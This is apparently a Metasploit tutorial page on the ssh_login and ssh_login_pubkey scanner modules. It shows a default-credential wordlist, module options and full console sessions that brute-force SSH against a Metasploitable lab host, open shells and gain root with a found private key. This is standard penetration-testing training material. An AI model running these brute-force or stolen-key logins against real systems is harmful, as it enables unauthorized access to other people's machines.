Scanner SSH Auxiliary Modules

a11y.text Scanner SSH Auxiliary Modules

The ssh_login module is quite versatile in that it can not only test a set of credentials across a range of IP addresses, but it can also perform brute force login attempts. We will pass a file to the module containing usernames and passwords separated by a space as shown below.

root@kali:~# head /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
root
root !root
root Cisco
root NeXT
root QNX
root admin
root attack
root ax400
root bagabu
root blablabla

Next, we load up the scanner module in Metasploit and set USERPASS_FILE to point to our list of credentials to attempt.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.154
RHOSTS => 192.168.1.154
msf auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf auxiliary(ssh_login) > set VERBOSE false
VERBOSE => false

With everything ready to go, we run the module. When a valid credential pair is found, we are presented with a shell on the remote machine.

msf auxiliary(ssh_login) > run

[*] 192.168.1.154:22 - SSH - Starting buteforce
[*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:25:18 -0600
[+] 192.168.1.154:22 - SSH - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
exit
[*] Command shell session 1 closed.
msf auxiliary(ssh_login) >

Using public key authentication for SSH is highly regarded as being far more secure than using usernames and passwords to authenticate. The caveat to this is that if the private key portion of the key pair is not kept secure, the security of the configuration is thrown right out the window. If, during an engagement, you get access to a private SSH key, you can use the ssh_login_pubkey module to attempt to login across a range of devices.

msf > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(ssh_login_pubkey) > show options

Module options (auxiliary/scanner/ssh/ssh_login_pubkey):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   KEY_PATH                           yes       Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa
KEY_FILE => /tmp/id_rsa
msf auxiliary(ssh_login_pubkey) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.1.154
RHOSTS => 192.168.1.154
msf auxiliary(ssh_login_pubkey) > run

[*] 192.168.1.154:22 - SSH - Testing Cleartext Keys
[*] 192.168.1.154:22 - SSH - Trying 1 cleartext key per user.
[*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:17:56 -0600
[+] 192.168.1.154:22 - SSH - Success: 'root':'57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) > sessions -i 1
[*] Starting interaction with 1...

ls
reset_logs.sh
id
uid=0(root) gid=0(root) groups=0(root)
exit
[*] Command shell session 1 closed.
msf auxiliary(ssh_login_pubkey) >
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